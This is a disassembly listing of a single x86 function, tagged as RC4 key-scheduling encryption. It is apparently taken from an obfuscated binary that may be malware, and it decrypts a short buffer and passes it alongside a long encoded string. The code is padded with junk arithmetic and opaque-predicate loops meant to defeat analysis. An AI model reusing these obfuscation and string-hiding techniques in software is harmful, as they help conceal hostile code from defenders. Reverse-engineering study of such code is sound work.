Function at 0x643c8120
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 0xa
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x141]
mov esi, 0x643eb3d0
push ebx
sub esp, 0x15c
mov eax, dword [0x643e7da0]
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x12d]
mov esi, 0x643eb3da
and eax, 0x475696a2
imul eax, eax, 0x6fe4a5bd
mov dword [0x643e7d7c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ecx, 0x15
mov edx, str.Washington1
rep movsb byte es:[edi], byte [esi]
mov al, byte [edx]
test al, al
je 0x643c818c
sub eax, 0x30
cmp al, 9
jbe 0x643c8189
sub dword [0x643e7da0], 0x784d424a
jmp 0x643c818c
inc edx
jmp 0x643c8170
imul eax, dword [0x643e7da0], 0xccde99c3
mov dword [0x643e7d7c], eax
call fcn.643d2c24
mov edx, str.Semaphore
mov ecx, 0xad6
movsx eax, byte [edx]
inc edx
test al, al
je 0x643c81cb
add ecx, eax
cmp ecx, 0x15ec
jbe 0x643c81aa
or dword [0x643e7d7c], 0xf9ab7a06
call fcn.643d2c24
imul eax, dword [0x643e7da0], 0x2ed1958
mov dword [0x643e7da0], eax
imul eax, dword [0x643e7d7c], 0xdf3a8c56
mov dword [0x643e7d7c], eax
call fcn.643d1c54
xor eax, eax
mov byte [eax + ebp - 0x118], al
inc eax
cmp eax, 0x100
jne 0x643c81f0
xor esi, esi
xor ebx, ebx
xor edx, edx
mov edi, 0x14
mov eax, ebx
mov cl, byte [ebp + ebx - 0x118]
div edi
movzx eax, byte [ebp + edx - 0x12d]
movzx edx, cl
add eax, edx
mov edx, dword [0x643e7d7c]
add eax, esi
movzx esi, al
mov eax, edx
xor eax, 0xebd967ab
cmp byte [str.Washington1], 0
mov dword [0x643e7da0], eax
je 0x643c824c
and eax, 0xe9d49a7
mov dword [0x643e7da0], eax
mov eax, dword [0x643e7da0]
mov dword [esp + 4], str.Washington1
mov dword [esp], edx
xor eax, 0xdf98239e
mov byte [ebp - 0x14c], cl
imul eax, eax, 0xcd8b7b2b
mov dword [0x643e7da0], eax
call fcn.643d2a58
mov al, byte [ebp + esi - 0x118]
mov cl, byte [ebp - 0x14c]
mov byte [ebp + ebx - 0x118], al
inc ebx
mov byte [ebp + esi - 0x118], cl
cmp ebx, 0x100
jne 0x643c8203
xor edi, edi
xor esi, esi
xor ebx, ebx
mov eax, dword [0x643e7d7c]
inc ebx
mov ecx, 0xd42
movzx ebx, bl
mov dword [ebp - 0x14c], eax
mov al, byte [ebp + ebx - 0x118]
lea edx, [eax + esi]
movzx esi, dl
mov dl, byte [ebp + esi - 0x118]
mov byte [ebp + ebx - 0x118], dl
mov edx, str.Washington1
mov byte [ebp + esi - 0x118], al
add al, byte [ebp + ebx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
mov byte [ebp - 0x14d], al
movzx eax, byte [edx]
inc edx
test al, al
je 0x643c8318
add ecx, eax
cmp ecx, 0x142a
jbe 0x643c82f7
imul eax, dword [ebp - 0x14c], 0xcae7ebb2
mov dword [0x643e7d7c], eax
mov eax, dword [ebp - 0x14c]
and eax, 0x3494b46f
or eax, 0x74d4bd83
mov dword [0x643e7da0], eax
call fcn.643d1048
xor eax, eax
cmp byte [eax + str.Semaphore], 0
je 0x643c8359
inc eax
cmp eax, 0x18c3
jne 0x643c8334
call fcn.643d089c
imul eax, dword [0x643e7d7c], 0x7ff69a33
mov dword [0x643e7da0], eax
mov al, byte [ebp - 0x14d]
xor al, byte [ebp + edi - 0x141]
lea edx, [ebp - 0x137]
mov byte [ebp + edi - 0x137], al
inc edi
or dword [0x643e7d7c], 0xbfffcffd
cmp edi, 0xa
jne 0x643c82a5
mov dword [esp + 0xc], 0xa
mov dword [esp + 8], edx
mov dword [esp + 4], 0x11ec
mov dword [esp], str.x23VoDxKlhm0ihyIn9Q81Mp9goSVOI87Ob9Tnxu9OD8lk8W3JQRYO_XkXuKaKZ4AFPuVdOYdGZWuzXLImMaWjySXGFbjsyrVkyYZRg4dISXjRithsPXYcDpyq3hmY93JVbHK1JHYX_VTe0LGJEnKw7D18vr7dsOziYpvU2myffgocwBLwrQBA0EeKnED0Y3iDxgfzV9y6GiFTyhG5rLTa_9nMZVfDAP_OZzDU3tAaYCLwBKW1XonNpanY_cGa_MxYdF9tnyoAVm2a61vMCVXzB3WnOGSVXTeLIsiglAceAqlHKqIsTeeNBZ7LQxJxXyyTzexRefkhTBb1cZ5MJ8JviU6RCYBrV9r0XiZE03IDT97PDEXNy1Khd7QGt2BA8XK8hP3AI0uTO_wgJSHhsWM0oaNeBHjjpENSsHeAD_6MTCein2lZqLslJgKjK0LBqtWhG6wKa79g8cAQ82j5jRFBluTRySBmE4x1YLHj6IwnMRvMfVCaWqJjiKpXu7AXXulPQKLaMhkh0QUmvyR8bVkMEwD7_QxsgZtO3r6v8M4tD_MiCOeq1nkD1Sw6y78tKitBTdEnQJqyjhX6kuZEwItXAuX_Tp7XHErYjjK8ZziKrfPIZGsLuDVDr4elPCF6cL7Ur4NlddR8GDrrA7q0FVJ10Wk1Tsw0K_Mq6eOT6whOCTp2IEywQZWeYbIt42pZ3QZHfZYLV6ExsYGbbv76VpBybe3w487bXxfwhSVktr_X4Un67kD2wMk0mSl3xO6W1vgvwYzdnTKkiJ0jTv9uc7A9sEPK7OzdAvs2QSgMPrVt73xwbBJ9EQT8B4Jrfc6FJ7LKQUnCDfBYuyhsaQBhhjLsEq_Z8HCM0eicnMXfJOJUsHrou4SZ_1S2CN1reUd1HkZqVVn6sttHlYi9mxDgFTa6jGhdzs3B2Dx7fKVRQqCnap8AGGV2EEJYJTG0KSxcXXmT_6uSSdBptRzxLuOAZ2ErkEl2s4Q1QBfdr44F0MaUEUqHNG0f66tQjc1Q5frUwNxTjkWe5ecqMWLl7Ii02fZ2L_nxoio0yQ19cTySjx91EwwCwyQaABIbsqwj69YEKQ_DUGqEK7sLlsLLnNmeLzryy02Vow4NAhX2MsssYxmscgeOGEAZErZ_39A9sjIl4WfJ4cQMuAWGEzKLBK_8HHiXyJMkuv3IiawTLYsX3351T_FhbjQy3Caoie9evHTHjIObIIt0K_EF4hBEg3R9J3Hqq5rgBbqG88oL7QQD4rXNFzlCZ1SVmaaquXhNdjiCoSgVO7AxuqkTLjB7Crm7BTFbsrZlk50iKW0K9sUfZCreWDARCWvqaORvTtAOhkWnyxrl6QJLtZnBmTTtlrbyHRqjmn0BZuPlHeDi92_d1d0wbzGKH6vMCvjyymO4b3aOnlMhqRCcdkGib7A_aSdfCiIvC9NawObyZCLql2P8UwXZIWDsGo7pBwgHcFon42SSJvPIEjLm5fMhIqSxHlxfMADwDzgnAKbjNNZW1RX8acsrEkUpoIERHoALCJDiiyxh1qEYqX_scbnzaJIj9WH48bWNrQG4bGTYVZWDtyTsXVaIBXBou6eJt_wQ3Vt6dWmNOdVKKeJH2bpQK7mqO9Y9AlnX11n9qmbSlUPCSsrk2UZoRYM_1HAOOxWNQxtGoaQTQaq96f66Q9BqPu0HKTdUhXcTTZ3NbGCJlPrwgzrkzCEXSz3FhT6kPw4eoYVBSFe8sucONFUgDM_zwVKzFw0WdXKP4UMCeITYaPhl1L2R7X_lZMmbLD5jtBM0gg6flecaNqZZqdyFLLkasiwcO0DjUvuTbJ3xEvM6uI2xH0dP7I7qscMEpNbsNjEyoXybVwnZs0nmf62DjxI3AYMEQtQiSmEXHqs1yljI1GAe7eMcWfgG0xGK1f4ZUeinYWiO5KpPCsTkWGerNPIn4ik0l7RWEFMgKaXvwmUqan3iz9BTfVcmsChtoegTEIX3jJJ74DlGoXEOBmmsycmvzXln33QlSZSvzGb_tfKUE08Aec1Ng9Ziulf9uf0Uf60lFEeCrZX5qebNelDGtPzmRikuCq7pN3i6GWYx1TrpXitrLONSsJt7uf1X8KWzd_P9t2UFKyPgVpVN1tkTiVO7YfbcaXXiuw2o51cd9lq5U46fQcNCyz32JSTBHzqxcjAz9ktsOa5qY9ORS0pmUIZ5v3qAeLZhauVZsjxyvi2R7qfyXAXv48jMxJzYXYHa_vQy7AzkonVMIMyhjzjM0AsALJ7g3g8wgxDMBy_rRIhZIL4LHRxUjRMizcBlekUpxO78c6_JgwFyvn4BsZckD3kl8GnKvGOKafxId40A_mvMGGlZvHFJm5NC1KUl92BwUjg0p2ZVt1yy3HeDhYPLqy1eJysolayqpsOBQrA7Ab8LMHPlHuNrB9kWO3wqVWZF__V6a2zKGSMPkzSkePJJiet0Uyxt2OYh5ky2VjYZl6UNKjOFUKuaguHjc7EUrdVPWZJxItr6FjG079_I_Lzn0DOxPbe_aC4H7c2VZlYkEKtng4vaaPciKYHnuLvwbWR9CaAvpNicbETxdpYUkJZiI_2Rn5MJTcvVsDNTCnVvnPeJs2JYHWlAAdOUmK0pF6HkItlLeBmNdOxzwizuJeFDuu_vOEZqhOMyox0VaW72cD41eRgtGQL6otrzY0uykFheBB1AK2AuLuKozk3j1hm1NwrsSmu3_a0QclhDy2um0fVM5C42a6GXEZChBOD6F2GhgyQp1GCh7l2Ay6fmAqhNVkXD8WxqSpzfk2t1GDp_wVGBGGTWTEEkwiFXqpFbGh01Ujss5wv09dYTNPgFhVXoXtBKFymHdQvWOHD6xJeWKd4jT2UwpVViYAJbe96TaGLC3XRz8A2GZyu5rKvb2vSPt5_x_WSdpqOUFmcJ1tOSPwRoFf_WPKZ3Cvgnpl4LhvhG3bQdI3lOeIyHBJCiMSzoAclqGvjXRzz89CbKGdBKOBMzJs_E81jOIhFZcQZmde5kiW1NjqQrzly0zY3EjoDTLpusmkI7OlzuT16rbn6cnz1nqKNxAZWKdOw2qK8bJ8sbZMRB1O16EgA7OkDj8JVITQYUk3BvMmsg1TM9GkxTjdorLVcsAlgfekQFn9n6iUnd0FXFEelgUNWIf0J9q1r7bzWJ42WA65_hL04K4189CN8G3YrQHQ2sgytSxeXTn1PtQfWzO1J_FK4Uwaz_96jCJF_AQ4uoEYa2dhbdcvmm2oVtKeoSavbuBRnEcOOWreqg8vOUpNlEDaCTudq7qilaGO_wOK6nYFg9Lx4lYa7HHfrM2aM2EmR6NiBEMGVmjLitvkbyUAmHqNES8QlTkuA1sT06XDSpAy_DBQY4_GcgJ8UGEn0CnJmWZI497HY0fNPS4QvGx0VI4CuggAg2mvl7ELSvBGz0SqEIVszPzUu4izsgx8t9fzX7Y2AOW1dTELgpvFt9ZpOVDoa4wnPkSlKojLkmJUMNffxFCUlI_tdwM5dzaeokj__oXwZvXbPemlxsZ2gFzpr1ydAIRGHYSG2zagcrhVuJ1FwRkEpFAo53sq82UkXYfxrY5hlds9rnh_n0oB8l0P3cGdNX9mo5RJaJSsxegFL14LJ40YxS7cdAU_AvdGzu3gVUstuGwVWRFCg1X1Ueb3iDRMdyZo_UkEciHb7MDf_nvtow6G56mxRcZijuQvieQkv67RUmaHBWcBo7367y5h3oiYj3U7bwyaMs825au3UONRKpri4_wq9c1JvBo2Z2DW3wF9UWBMgekAk4Okz3xbUWWlQYNLCbIATw_7HDRIg6R_DAH6uUVB3M2GHr1Nt_sPOTV0JcVFoabVGo7yp4t49E3yIOxSYFZuBZTq6HpknsZZvM4XFfZDSq5Mf14WQacb7MR2Ht9ln15NDNuFLdEWgLmWstgpOGmntSH0rkFdqHp4ArjaVn2JvQ1Py_YNuekBjrpVrLheOyCVMJ3dXRfSQTtZw1FriX1ph4uQucYBepDuAwqeFQ0c9vMTyzSNI922CN7UtfZVCyOBIkn8EetHBJ3Syp
mov byte [ebp - 0x12d], 0
call fcn.643cb468
add esp, 0x15c
pop ebx
pop esi
pop edi
pop ebp
ret